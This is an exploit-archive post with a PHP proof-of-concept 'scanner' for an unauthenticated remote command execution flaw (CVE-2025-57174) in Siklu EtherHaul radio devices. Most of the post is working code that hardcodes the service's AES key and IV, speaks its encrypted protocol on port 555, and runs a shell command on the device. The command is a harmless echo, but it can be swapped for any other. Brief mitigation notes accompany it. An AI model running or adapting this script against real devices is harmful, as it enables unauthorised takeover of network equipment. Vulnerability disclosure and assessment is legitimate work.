=============================================================================================================================================
| # Title     : Siklu EtherHaul EH-8010 / EH-1200 Vulnerability Scanner                                                                     |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
| # Vendor    : https://www.ceragon.com/products/siklu-by-ceragon                                                                           |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/214068/ & 	CVE-2025-57174

[+] Summary    : This PHP-based scanner safely detects an unauthenticated remote command execution vulnerability in Siklu EtherHaul devices by
                 sending a non-destructive encrypted probe command and validating the response.
                 The scanner does not alter device state and is suitable for large-scale assessments.

[+] Impact:

Successful detection confirms full unauthenticated RCE exposure.

[+] Mitigation:

- Restrict TCP port 555
- Disable rfpiped service
- Update firmware

[+] POC: php poc.php 192.168.1.10

<?php

define('PORT', 555);
define('HDR_LEN', 0x90);

$IV0 = pack(
    'V4',
    0xEA703B82,
    0x75A9A17B,
    0x1DFC7BB9,
    0x55A24D72
);

$KEY = hex2bin(
    '89e7ffbeeb2d73f5a910fc425b1f3617' .
    '9fb95e7535a342a05d0248b119d24b82'
);

function recv_exact($sock, $len)
{
    $data = '';
    while (strlen($data) < $len) {
        $chunk = @socket_read($sock, $len - strlen($data));
        if ($chunk === false || $chunk === '') {
            return false;
        }
        $data .= $chunk;
    }
    return $data;
}

function pad16_zero($data)
{
    $r = strlen($data) % 16;
    return $r === 0 ? $data : $data . str_repeat("\x00", 16 - $r);
}

function hdr_checksum($hdr)
{
    $sum = 0;
    for ($i = 0; $i < 0x0C; $i++) {
        $sum += ord($hdr[$i]);
    }
    for ($i = 0x10; $i < HDR_LEN; $i++) {
        $sum += ord($hdr[$i]);
    }
    return $sum & 0xFFFFFFFF;
}

function build_header($flag, $msg, $payload_len)
{
    $hdr = str_repeat("\x00", HDR_LEN);
    $hdr[0] = chr($flag);
    $hdr[1] = chr($msg);
    $hdr = substr_replace($hdr, pack('V', $payload_len), 0x08, 4);
    $hdr = substr_replace($hdr, pack('V', hdr_checksum($hdr)), 0x0C, 4);
    return $hdr;
}

class RFPipeSession
{
    public $key;
    public $send_iv;
    public $recv_iv;

    function __construct($key, $iv)
    {
        $this->key = $key;
        $this->send_iv = $iv;
        $this->recv_iv = $iv;
    }

    function enc_send($sock, $data)
    {
        $ct = openssl_encrypt(
            $data,
            'AES-256-CBC',
            $this->key,
            OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING,
            $this->send_iv
        );
        $this->send_iv = substr($ct, -16);
        @socket_write($sock, $ct);
    }

    function recv_header($sock)
    {
        $ct = recv_exact($sock, HDR_LEN);
        if ($ct === false) return false;

        $pt = openssl_decrypt(
            $ct,
            'AES-256-CBC',
            $this->key,
            OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING,
            $this->recv_iv
        );
        $this->recv_iv = substr($ct, -16);
        return $pt;
    }

    function dec_recv($sock, $len)
    {
        $padded = ($len + 15) & ~15;
        $ct = recv_exact($sock, $padded);
        if ($ct === false) return false;

        $pt = openssl_decrypt(
            $ct,
            'AES-256-CBC',
            $this->key,
            OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING,
            $this->recv_iv
        );
        $this->recv_iv = substr($ct, -16);
        return substr($pt, 0, $len);
    }
}

if ($argc < 2) {
    echo "Usage: php siklu_eh_scanner.php <target>\n";
    exit;
}

$target = $argv[1];
$probe  = "echo VULN_CHECK\x00";

$sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!@socket_connect($sock, $target, PORT)) {
    echo "[!] Connection failed\n";
    exit;
}

$sess = new RFPipeSession($KEY, $IV0);
$hdr  = build_header(0x00, 0x01, strlen($probe));

$sess->enc_send($sock, $hdr);
$sess->enc_send($sock, pad16_zero($probe));

$resp_hdr = $sess->recv_header($sock);
if ($resp_hdr === false) {
    echo "[?] No response (filtered or patched)\n";
    exit;
}

$len = unpack('V', substr($resp_hdr, 0x08, 4))[1];
if ($len <= 0) {
    echo "[-] Not Vulnerable\n";
    exit;
}

$data = $sess->dec_recv($sock, $len);
if ($data !== false && strpos($data, 'VULN_CHECK') !== false) {
    echo "[+] VULNERABLE: Unauthenticated RCE detected\n";
} else {
    echo "[-] Not Vulnerable\n";
}

socket_close($sock);


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================